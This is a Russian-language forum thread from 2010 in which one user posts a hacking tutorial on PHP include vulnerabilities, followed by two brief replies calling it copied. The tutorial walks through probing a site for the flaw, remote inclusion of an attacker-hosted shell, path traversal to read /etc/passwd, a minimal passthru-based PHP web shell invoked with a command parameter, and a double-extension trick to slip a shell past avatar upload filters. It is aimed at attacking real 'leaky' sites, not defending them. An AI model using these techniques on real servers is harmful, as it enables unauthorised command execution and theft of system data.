Вниз  PHP инклуд
Тема закрыта
- 8.11.2010 / 01:35copy  #38087
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Сначала мы рассмотрим PHP
инклуид, а потом разберемся с
использованием шелла.
- 8.11.2010 / 01:37copy  #38088
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Как думаю, ты знаешь это
ошибка или дыра в PHP коде.
Попытаюсь объяснить тебе
суть, так как прежде чем
использовать уязвимость
нужно знать, как она действует.
include() - эта php функция
которая может подключать
файл в место, где она
находится.И выполнять его.
Это может быть какой-либо
модуль нужный для работы
сайта
Что можно сделать с помощью
инклуида?
Залить скрипт;
Прочитать директорию;
Пример вызова:
include($file);
Если кто не знаком с пхп то
после знака «$» объявляется
переменная, эта переменная
«file» а в ней путь к
подключаемому модулю. Т.е. у
этой функции есть только один
аргумент - путь. Как ты,
наверное, догадался, мы будем
указывать путь к нужному нам
скрипту. Разберем пример:
http://www.сайт.ru/
index.php?file=prosto.php
здесь используется php скрипт
index.php, в скрипте есть
переменная «file» в нее
записываться ссылка на скрипт
«prosto.php».
- 8.11.2010 / 01:38copy  #38089
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Нам нужно проверить есть ли
тут php инклуид,
мы делаем так:
http://www.сайт.ru/
index.php?file=[xixi]
если есть дыра то появиться
что, то вроде такого
«Warning: main([xixi].php): failed
to open stream: No such file or
directory in /home/user/www/
file.php on line 3»
Он ругается и говорить, что не
может найти «[xixi]».
Значит уязвимость есть.
Можешь радоваться.
Итак, уязвимость мы нашли что
дальше? А дальше как
получится.
Есть два вида инклуида
*Локальный
*Внешний
Разберем внешний:
http://www.сайт.ru/
index.php?file=www.mysite.ru/
shell.txt
в переменную file мы записали
путь к шеллу (www.mysite.ru/
shell.txt) и передали скрипту.
Скрипт прочитает содержимое
файла shell.txt
Ниже мы узнаем какую пользу
это нам принесет
- 8.11.2010 / 01:40copy  #38090
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Теперь разберем локальный.
Здесь ты можешь только
читать данные с сервера вот
пример
http://www.сайт.ru/
index.htm?page=../../../../../../etc/
passwd
Прочитаем соответственно
директорию "etc/passwd".
Т.е. в локальном мы только
читаем что-то с сервака, а вот
во внешнем есть возможность
заливать из внешних
источников какие-либо
данные.
Вот собственно и вся
реализация этой дыры.
А теперь разберемся с
загрузкой шелла. Собственно
обычно ради этого и нужен
инклуид.
Вообще что такое шелл? Есть
два вида шелла
Просто шел и веб-шел.
Обычный шелл нужен для
удобного диалога юзера с
системой (я про никсы).
А вот веб-шел это как раз то
что мы и разбираем.
Веб-шеллы обычно пишут на
PHP. Содержание его может
быть самое разное. Например
можно с помощью всего
одной функции вывести
командную строку. Но это не
очень удобно (особенно не
знаешь какие команды
вводить). Можно просто
выполнить какое-то действие,
например вывести все
директории сервера. В общем
вся мощь PHP.
- 8.11.2010 / 01:42copy  #38091
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Если ты кодишь то можешь
написать свой шелл. Сделать
там все удобные для себя
функции и команды. Также
можно добавить что нибудь
необычное. Шелл лучше писать
с авторизацией входа - тоесть
чтобы всякие проходимцы
туда не совались.
Про написание кода я говорить
не буду. Эта тема другая.
В противном случае
Если ты не кодишь. То нужно
скачать готовый шелл. Но учти
что это не по-мужски. Если ты
не хочешь так и остаться в
новичках, то рано или поздно
нужно учить веб-языки.
Выше я говорил что не буду
описывать процесс написания
веб-шелла. Пожалуй мы
напишем простейший скрипт
для этих целей, чтобы наглядно
рассмотреть его работу.
Открывай блокнот и забивай
вот такие письмена:
passthru($command);
?>
- 8.11.2010 / 01:43copy  #38092
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Это я тебе привел самый
классический пример шелла на
PHP. Специально для тех, кто не
утруждается изучением этого
крутейшего языка, поясняю -
функция "PassThru()"
выполняет команду
операционной системы,
полученную в качестве
аргумента. Как видим, в
качестве аргумента у нас
переменная $command, а мы ее
не определили. Самые хитрож...
умные уже догадались, что эту
переменную мы получим из
строки запроса, т.е.:
http://www.сайт.com/
shell.php?
command=НашаКоманда
И сохраняй под именем
shell.php
Как залить шелл? Сначала
нужно зарегистрироваться на
любом хостинге.самый оптимальный вариант народ.ру Заливаешь
туда свой скрипт (готовый
шелл) и берешь ссылку.
Едешь на дырявый сайт и
делаешь так:
http://www.сайт.ru/
index.php?
file=www.сайт.narod.ru/
shell.php&command=whoami
Если ты не сам его писал, то
можно не скачивать, а указать
только ссылку на него.
Ну вот эта команда (whoami)
покажет твой уровень прав в системе.
Можно использовать команды
данной оси (операционной
системы)

Изменено Wgis (8.11 / 01:45) (всего 1 раз)
- 8.11.2010 / 01:46copy  #38093
Wgis
  Пользователь

Wgis 
Сейчас: Offline
Но это не единственный
способ.
Можно залить с помощью SQL
инъекции. Но так как это статья
по инклуиду то поищи инфу в
сети.
Есть вариант залить шелл
можно с помощью Картинки
или других средств загрузки
данных на сервер.
Разберем такую ситуацию. Тебе
можно залить свой аватар на
сервер.
Вместо картинки ты ставишь
шелл с расширением *.php.
Итак, ты пытаешься залить
Shell.php скорее всего не
получиться. На большинстве
сайтов есть фильтр. Т.е. можно
заливать только файлы с
графическими расширениями.
Можно и это обойти вот так:
Shell.php.gif - двойное
расширение. А потом просто
вызвать его.
Надеюсь, ты понял, что это
можно сделать в зависимости
от ситуации.
Ну, вот и все собственно
- 8.11.2010 / 02:32copy  #38095
serega777
  Пользователь удален

serega777 
- 8.11.2010 / 03:21copy  #38102
Wgis
  Пользователь

Wgis 
Сейчас: Offline
serega777, Та ну тебя,воще не от туда,с мастерам.ус
- 8.11.2010 / 10:20copy  #38107
serega777
  Пользователь удален

serega777 
тем более копипастеры вы все. могли в библиотеку кинуть
Наверх  Всего сообщений: 19
Фильтровать сообщения
Поиск по теме
Поиск по форуму
Новые вверху
  © aNNiMON (Melnik Software)
Онлайн: 16 (1/15)
 
Яндекс.Метрика